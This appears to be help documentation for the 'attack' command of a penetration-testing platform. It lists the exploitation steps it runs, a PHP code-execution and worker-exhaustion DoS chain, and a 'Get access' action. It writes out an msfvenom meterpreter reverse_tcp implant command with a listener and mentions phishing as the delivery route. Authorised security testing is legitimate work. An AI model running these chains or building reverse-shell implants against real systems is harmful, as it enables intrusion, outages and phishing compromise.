Attack command BETA

Send `attack #<handle>` — a finding's handle (`#wprfsn`, on its card and from list_vulnerabilities). One run proves ONE vector with a non-destructive PoC and writes a client-ready report. A bare `attack <target>` is refused: it would run every vector at once.

These commands are new and may have bugs.

• attack:<target>

  Reads everything the OSINT, recon and web commands gathered about the target from the shared findings database, cross-references the detected stack against the platform's vuln/exploit database (NVD + Exploit-DB + CISA KEV, refreshed every 6 hours) for matching CVEs and public PoCs, then turns each exploitable possibility into a confirmed vulnerability with a working, non-destructive proof of concept — and writes a client-ready report with a reproducible attack for each finding.

  findingssqlmapjwt_toolgit-dumperwebfetchnuclei

  How it works

  #	Step	What it does
  1	phpcustom	PHP detection, version label, SAPI and upload-progress posture
  2	php_sink	Active include/LFI probe — reports the php2shell vector only when a sink exists
  3	php_probe	Config probes: memory_limit, max_input_vars, session
  4	php2shell_chain	Gated chain attempt — sink-free CVE path
  5	sqlmap	SQL injection confirmation
  6	param_scancustom	Active per-parameter probes: SQLi, XSS, command injection, LFI/RFI, redirect
  7	authz_scancustom	Authorization: guest vs session, cross-account reads (IDOR candidates)
  8	content_scancustom	Hidden files: backups, .git, .env, admin panels
  9	jwt_tool	Weak / default JWT signing keys
  10	git-dumper	Recover a .git repository
  11	webfetchcustom	Rendered page fetch (headless browser)
  12	nuclei	Known-CVE template scan

php2shell: two different chains, two different claims

The name covers two things. One we prove today. The other is the CVE path and still stops at the memory leak, so say "detected, not proven" there.

• A sink is recorded for the target → chain A first: seconds, no offsets, works on patched PHP
• No sink, mod_php prefork, unpatched → chain B
• No sink, FPM → chain C, reported as availability only
• A chain never inherits another chain's result

php2shell: three chains — Same advisory, three different attacks. They need different targets and prove different things.

Taking a site offline (availability)

php2shell gives two outcomes by SAPI. On mod_php the worker survives and the chain aims at code execution. On PHP-FPM the out-of-memory fatal ends the worker serving that request, so the same request is an availability test.

N concurrent requests empty a pool of pm.max_children = N, and repeating them keeps it empty.

The card shows the DoS button only for findings of a class where that is true (php2shell / PHP CVE rows). It is never described as access: there is no shell, no data and no persistence, and a patched build answers 200 instead.

What it needs: session.upload_progress enabled, a body larger than memory_limit, post_max_size and any proxy body cap above that body, a small FPM pool and an unpatched runtime. If the edge truncates the body the step reports no-effect, and that is the answer.

Steps tagged "custom" are my own custom tools, built by me for this platform. The rest are third-party tools.

Attack works on the vulnerability list

Every finding is a vulnerability on the Vulns tab with a handle. `attack #handle` proves that one and records the verdict on it. If it does not hold, the next finding gets its own attack run — the queue is a sequence of attacks, one vector each.

Two actions on a finding

`Attack #handle` reproduces the finding and records the verdict on it: exploited, blocked (not proven — naming what stopped it) or false positive.

`Get access #handle` is the different outcome: after reproducing it, install and verify real access. Both are buttons on the card, and the card shows each attempt with its steps and progress.

One vector per run — and what runs it

Which steps run is decided by the finding's CLASS, from one registry: php2shell → `php, php_sink, php_probe, php2shell_chain`; sqli → `sqlmap`; xss/lfi/rce/redirect → `param_scan`; idor → `authz_scan`; csrf/upload → `content_scan`; jwt/session → `jwt_tool`; secret → `git-dumper`; CVE → `nuclei`.

Narrow it by hand with `--steps a,b` (e.g. `attack #handle --steps php2shell_chain`). Codes are a CLOSED vocabulary: an unknown one is refused with the valid list. A class with no handler still runs one generic vector (`webfetch`) plus the directive and its playbook — never every vector at once.

The table lists the platform's STEPS, not vulnerabilities. Each attack run is one of them, chosen by its finding's class. A finding whose class has no step of its own is still listed on the target's Vulns tab and still attacked — with the generic vector plus its playbook.

Requests that name a technique

Ask for a technique with the target and the same two-run sequence follows — no crawl, no scanners, no improvisation. `hack with php2shell example.com` (also `check php2shell for <target>`) runs, in order:

1. Recon runs php (version label, SAPI, upload-progress posture) and php_sink (the active include/LFI probe) as part of the normal plan — a sink is a finding on the target, so it is discovered up front. php_probe (memory_limit bracket, max_input_vars bound, session writeability) is attack-only, because it prepares an attempt.
2. Attack on what that recorded — only when a php2shell row exists (CVE-2026-109618 / CVE-2026-109619 candidate, or a php2shell vector). The attack run explodes the route itself: the sink-free chain only if php_probe said it is worth attempting, the upload-progress + include path only if php_sink found a sink. A target that is not PHP, or one that recorded nothing, stops the sequence — and the reply says so.
3. Proof, not adjectives — a version match, a memory-limit fatal or a killed worker is never execution. Only a PROOF line with real output (uid=, hostname, a file written on the target) counts, and the finding stays candidate until it has one.

Implants (payload mechanism)

Needs an implant? The attack run builds it — no separate command: `msfvenom -p <os>/x64/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> -f <exe|elf|macho> -o /root/payload/<os>-<lport>` + a `multi/handler` listener, artifact registered in findings.

It produces files only: nothing is delivered or executed by the platform. Download the artifact from the machine card (or `scp`), deliver it through your authorised channel — for a sanctioned campaign that is the phishing command — then start the listener on the pod.

What decides whether it works: `lhost` must be reachable from the victim (pod public IP, port open in the provider firewall); a raw msfvenom binary is signature-flagged by Defender/SmartScreen; iOS is out of scope.

Lists

Point attack at a whole saved list with attack --list <name> (the after-recon list from a recon run) to confirm every target in it, one at a time.

Kali machine

The command needs an active Kali Linux machine — the exploitation toolkit (sqlmap, jwt_tool, dalfox, git-dumper, nuclei) is pre-installed. Rent one in the Virtual Machines section.

Multiple machines

Have more than one machine? Add --machine <name> (or -m <name>) — e.g. attack example.com --machine kali-1 — to pin every command to that machine.

Reports

Every attack run saves its full report to a file on your Kali machine (under /root/attack/) and the reply gives you the exact path plus a download link.